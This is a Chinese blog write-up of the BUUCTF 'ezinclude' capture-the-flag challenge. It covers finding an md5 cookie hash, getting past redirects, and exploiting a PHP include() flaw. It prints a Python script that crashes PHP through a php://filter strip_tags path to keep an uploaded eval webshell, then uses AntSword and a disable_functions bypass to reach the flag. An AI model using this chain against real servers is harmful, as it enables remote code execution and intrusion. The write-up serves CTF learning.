寫在最前面
由於這一題涉及到的知識大部分博主並未掌握,所以這篇博客只是對着其他師傅們的WP補充,從開始做題到獲得flag補充一下其中博主額外想到的一些方面(師傅們簡介准確,這就導致我這種笨比一下銜接不上),在對應的知識點附上一些其他師傅寫的技術博客(自己太菜了,沒掌握寫不出來),在有些對應的地方會附上之后GETSHELL(因為設置了disable_function或還有其他的限制,博主太菜直接使用了蟻劍自帶的繞過,但還是存在一定程度上的限制)之后得到的對應頁面源碼。
正式解題
打開頁面,提示username或password錯誤,但不知道應該什么方式傳什么參。
查看源碼會發現提示,對參數name和pass傳入值,至於使用GET方式倒是后知后覺,測試起來也方便(POST傳入沒反應就GET好了)。
博主這里以為和PHP中md5的函數有關,但未發現像此處這樣的用法,看WP后才知道響應包將一串hash值設置在Cookie內返回,而這串hash值是當前傳入的參數name使用md5加密后的結果,我們將獲取到的值再用參數pass傳入就可以了(見識少這里真想不到)。
這里是對應的PHP文件源碼。
但成功傳入后的頁面中設置了跳轉前往下一個頁面,但在下一個頁面中又設置了一個跳轉,如果使用瀏覽器訪問下一個頁面最后會跳轉到設置好的錯誤頁面(再次見識少,一時間以為是操作錯了而不是被設置了跳轉)。
用BrupSuite來訪問就好了,可以看到在flflflflag.php中有一句include,包含GET方式傳入的參數file。在這里便可以對參數file傳入data偽裝協議讀一下文件源代碼。至於在服務器頁面文件夾下存在哪些文件,就不得不掃了,因為寫博客的時候已經GETSHELL了,所以用終端直接展示。
當前目錄下文件列表。
404.hmtl中並沒有什么可用的信息,只是個單純的HTML頁面,這里不展示;index.php則在前面已經展示過了,是那個提示傳入參數name和pass的頁面。
dir.php(會展示tmp文件夾中內容,也就是我們上傳文件的臨時所在)
flflflflag.php
config.php(假flag)
flag添加在了phpinfo中的一項,博主是沒有想到而會去嘗試GETSHELL,想得到的目錄都找不到后才看WP查看了phpinfo的頁面。但這些都得對flflflflag.php中的include函數下手,到這里就照應到了本題的主要題目"ezinclude"。
具體的知識可以參考這兩位師傅的博客:
這里就直接展示博主用來GETSHELL的腳本,查看phpinfo的話將腳本中的一句話換成phpinfo函數就好了。
import requests as res from io import BytesIO url="http://5efafd4f-4bae-4237-b3b6-5a8e41058c3c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
#phpfile對應的就是上傳的文件的內容 phpfile="<?php @eval($_POST['cmd']); ?>" filedata={ "file":phpfile } bak=res.post(url=url,files=filedata) print(bak.text)
腳本最后會輸出BUUCTF容器不存在的頁面,但這並不意味着我們操作失敗了,按照知識點來說屬於是"php崩潰清空堆棧重啟",我們腳本中上傳的文件還是存在的。
訪問dir.php查看我們上傳后的文件。
排查出對應的上傳的一句話文件(我這里只上傳一個一句話),再用蟻劍連flflflflag.php頁面,注意在URL中對參數file傳值讓include函數包含這個一句話,向上三層目錄后便能讀取到tmp即其中的臨時上傳文件。
然后選擇繞過disable_function插件再去使用就行。
這時就能使用終端了,雖然還存在一些限制。
這個時候就能去找flag了,在服務器頁面文件夾(我們訪問頁面的同目錄)下只有個config.php放了一個假flag,而在根目錄下也只有一個假flag。
(這里"cat /*"是因為有時直接對那個"FIag_!S_it"使用"cat"或者"nl"讀取不了,所以便用用"*"代替,但不意味着使用"cat"或者"nl"一定讀取不了)
這時還查找不到flag,便可以考慮查看下phpinfo頁面了(師傅們直接切中phpinfo就是我想不到的操作),找前面所述把腳本一句話改成phpinfo就好了,再用BrupSuite訪問flflflflag.php頁面,參數file傳對應phpinfo的文件,對響應包搜flag就能找到flag了。
得到flag。